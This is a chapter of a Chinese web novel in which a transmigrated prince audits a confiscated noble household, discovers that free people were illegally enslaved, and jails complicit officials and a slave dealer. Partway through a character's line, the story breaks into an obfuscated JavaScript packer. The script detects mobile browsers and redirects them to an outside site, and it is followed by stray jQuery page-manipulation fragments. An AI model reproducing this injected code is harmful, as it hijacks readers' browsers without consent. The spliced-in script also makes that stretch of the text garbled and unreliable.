23. 压入地牢

作品:《非酋绑定抽卡系统

    三天后。


    夏莳安放下最后一个卷轴,在一旁的竹简上刻上最后一个字。


    放下刀笔,揉了揉酸痛的手腕。


    天杀的竹简,太重啦!


    刀笔写字也费劲。


    看来造纸的事儿也要安排上了。


    之前没自己的地盘,不方便,现在来了太原郡,可以想办法安排人来弄了。


    等回去就和娘请说说,让家里的人先弄。


    虽然她不知道详细的,但之前刷短视频的时候那么多古法造纸术都刷到了,总归还是有些记忆。


    大不了就让人多实验几次,现在还有杨灿他们在,让他们去操心去。


    “秋雯,将这些竹简都让人带回去。”


    秋雯点头,将竹简摞好,放在托盘上打算端出去。


    “诶!对了,程家抄家的文册去问问杨宣弄好了没,我得看看。”


    不看看,这些钱不知道又落在哪里了。


    秋雯闻言笑到:“那日杨大人派人抄家,府中管家也跟着去了,现场清点的,最后的账册也是管家把关的,应当是弄完了。”


    夏莳安听到有管家把关瞬间松了口气。


    赵家的管家是老人了,可以说是在舅舅发家前就在赵家做事了,办事不仅让人放心,也是最为稳妥的。


    有管家在,她便放了大半的心。


    秋雯走到了一旁的书架上,拿起几个卷轴拿过来,放在夏莳安面前。


    “昨日管家就将账册送了过来,但王爷您还在看官府的卷轴,就先放在了这里,还未来得及给您说。”


    啊~


    真是不错的工作伙伴啊~


    问起什么东西,都能马上拿出来,上过班的人才知道这个含金量有多高。


    夏莳安一脸愉悦的拿起卷轴,然后脸就僵住了。


    叫住了秋雯:“等等,你把我写的那几个卷轴拿过来。”


    展开自己的卷轴,看了眼自己的笔记,不敢置信的又打开桌子上另外几个卷轴,加了加。


    嗯?


    嗯?


    嗯?


    谁能告诉她为什么并州十年的税收还比不上程家抄没出来的财产?


    这就是封建社会贵族再加上世家的实力吗?


    居然一个世家的私库竟然能和地方财库媲美。


    这是搜刮了多少民脂民膏啊。


    夏莳安知道他们富,但也没想过如此之富有。


    怪不得人人都想当白手套呢。


    打开明细,一行行的看过去。


    原本就波澜四起的心,直到看到了程家上百近千数的奴隶,脸才彻底黑了。


    “程家抄没的奴隶是如何处置的?”


    秋雯愣了愣,显然是没想到夏莳安第一个问题是这个。


    她设想过许多。


    抄没的财产在哪里?


    商铺还在运营么?


    程家人现如今处理到什么地步了?


    却丝毫没想过王爷居然是这个问题,以至于她一时之间都没反应过了。


    眼中的瞳孔从惊讶慢慢的转成了不解看向了夏莳安。


    “官府抄没的奴隶一般是先店庆数量后,青壮男性直接充军,其余老幼妇孺则是叫来人牙子直接发卖了。”


    毕竟官府也用不到大量的奴隶,大部分的岗位也早就有人在做了。


    官府是不会将这些奴隶养着的,官府也没那么多的粮食来养如此多的奴隶。


    大部分都是直接充军或者叫人牙子来,一次性发卖,银钱充入府库。


    “若是婢子没记错,昨日军队就来了一批人将这些奴隶领走了,今日,算算时间,人牙子应当也来了。”


    充入军队,相较来说还要快些。


    买卖则是要慢些,毕竟只要是体制内,这些涉及到钱财的就会有很多麻烦的手续。


    但终归是卖人添财,这些手续还是要比买东西来的快多了。


    再加上若是迟一天,这些人就要多吃一天官府的口粮。


    所以,处理的还是很快的。


    夏莳安闻言放下手中的卷轴,抬头看向门外,眼中的神色几次翻涌,最终双眼一闭,再次睁开就只剩下了平静无波。


    “走吧,让本王去瞧瞧。”


    夏莳安的一切变化都被秋雯看在了眼里,立马放下了手中的其余事,跟在了夏莳安身后。


    出院子时,还不忘喊着在门口驻守的侍卫,这都是从王府里带回来的,再怎么都比府衙里的好使唤。


    这都是贵妃娘娘怕安王在外被欺负给配的。


    不仅仅有明面上的十名侍卫,暗地里的暗卫们也不少。


    跟在夏莳安的身后,穿过一道道角门,走向前厅。


    还未到,就看见了乌压压的一群人站在前厅的园子里。


    粗略一看应该就有三四百人。


    这些都还是程府不到一半的家奴。


    而站在这些家奴面前的人赫然就是和夏莳安有过一面之缘的杜二。


    夏莳安还未走近,杜二就瞧见了远远走过来,面色不善的安王殿下。


    安王和杨大人一同出城那日,他碰巧去酒楼吃酒,远远的瞧见了一眼。


    看见眼熟的公子,想起前几日的大生意,正要和一旁同行人吹嘘,就听到了此人就是并州新来的主子安王殿下,瞬间就喜笑颜开。


    和这种大人物杜二平日里接触的多,那日就觉得这个小公子是个非富即贵的主,想要卖个好给对面。


    没想到居然是如此的贵人。


    今日再次相遇,杜二立马扬起了热烈的笑容上前作揖。


    “小的杜二见过安王殿下。”


    瞧着夏莳安的神色,杜二自然是知道他心情不佳。


    但伸手不打笑脸人,这道理杜二自然是知道的。


    夏莳安看着面前满脸笑意来行礼的杜二面上的神色稍微缓和片刻。


    见到熟人,夏莳安也不诧异,毕竟那日杜二就说过,他是这并州最大的人贩子头头。


    “这不是杜二么,你生意做的真是不错呢,居然还和官府有往来啊。”


    话说的波澜不惊,但杜二还是听出了里面的不对劲。


    杜二有些疑惑,他听说抄程家不是这个小王爷下的令吗?


    怎么,如今程家被抄了,这小王爷居然不开心?


    但面上,杜二还是赔笑:“小人就是混口饭吃,承蒙各位官老爷看得起,王爷今日是有何事?”


    杜二和官府的生意做的多,自然是知道这些小事儿这些官老爷也只是派个小人物来解决的。


    今日一个王爷来亲自处理倒是让杜二有些措手不及。


    夏莳安没有回答杜二的问题,只是双眼怔怔的看着他。


    “这些人的户籍可都调查清楚了?如何入的奴籍也都看过了?”


    杜二被夏莳安漆黑的瞳孔看着整个人都忍不住的毛骨悚然。


    立马低头将手中的卷轴递上。


    “自然查清楚了,小人这种


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197282|195350||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人牙子在买卖前都会仔细查阅的,避免有杀人放火这种恶人混入其中。”


    人牙子在买卖奴隶时,都会将其奴籍仔细看过。


    如今的奴籍上会写清楚,这个奴隶是如何被降为奴籍,在上家做的什么,可会什么技能之类的。


    这些都会写的清清楚楚明明白白。


    这才方便人牙子估算这个奴隶的价值,也避免有恶人混入奴隶中行凶。


    夏莳安接过杜二递来的卷轴,展开一看瞬间气血翻涌。


    一时之间,整张脸都涨成了猪肝色。


    杜二何等精明的人,自然是瞧出了夏莳安已经怒极了。


    瞬间就低下头,后退半步,将自己的身体躲了大半在一旁的官员身后。


    妄图把自己的存在感降在了最低。


    果不其然,下一刻,夏莳安将实验放在了杜二面前的官员面前。


    而他手中的卷轴也砸在了官员的脚边。


    “为何不核查奴隶的来历!你这是草率的买卖良民!”


    面前的官员瞬间被吓到面目惨白,双膝一软就跪了下来。


    “冤枉啊!下官从未买卖良民啊!”


    夏莳安指着那官员脚边的卷轴,说出的话让跪在地上的官员浑身冰冷。


    “在前朝时,那皇帝就说过抄没家产的奴隶要审查其来历,若是被抄没家迫害致使为奴的,需发放十贯的安家钱,无条件的恢复良籍。”


    越说,这小官就越发的瑟缩,夏莳安越发的怒气滔天。


    “这杜二一个小小人牙子都能调查出这里大半数的人都是程家恶意迫使良家人沦为奴籍的,你一个官府的官吏却不知?”


    说着,夏莳安都气笑了。


    “简直是笑掉大牙,如此大的疏漏,你不若脱下这官府给杜二这人牙子,如何?”


    此话一出,跪在地上的官员双眼死寂,杜二在夏莳安看不见的地方双眼发亮。


    诶?


    难道他杜二要发迹了?


    “下官,下官也只是按照上司安排做的啊,下官只是个区区小吏,自然是要听上面的安排啊!”


    那官员还想要推脱责任,夏莳安直接命令身后的侍卫:“把人剥了官府,扔进地牢,再找个账房去他家查账,查后再议。”


    在上辈子当社畜的时候,夏莳安最讨厌的就是推脱责任的人。


    这人要是一般的打工仔,她就轻拿轻放,要是有什么事儿。


    夏莳安冷笑一声,那就给她滚去菜市场门口吧。


    “王爷!王爷!何故恼怒?气坏了身子可就不好了啊。”


    一个陌生的声音从不远处传来。


    夏莳安抬头一看,是一张算是熟悉的脸。


    打开面板一看,是户房的管事,用现代的话来说就是户房的领导了。


    再拉开简介往下一看,密密麻麻的罪证就在夏莳安的面前展开。


    本就脸色不虞的夏莳安,一时之间脸色更差了。


    她一句话都不想听此人说,直接命令身后的侍卫。


    “将人绑了,一道扔进地牢,派5个账房去他家查账。”


    少了她害怕累死账房。


    一旁的杜二见两个大官儿都被绑了扔进了地牢,脸色惨白。


    这生意搞不好别把自己送进去啊。


    果不其然,下一句话,就听到了让他如坠冰窟的话。


    “这人牙子,和官府,同流合污,一道压下去,查看过往账册,查明罪责后再来定罪。”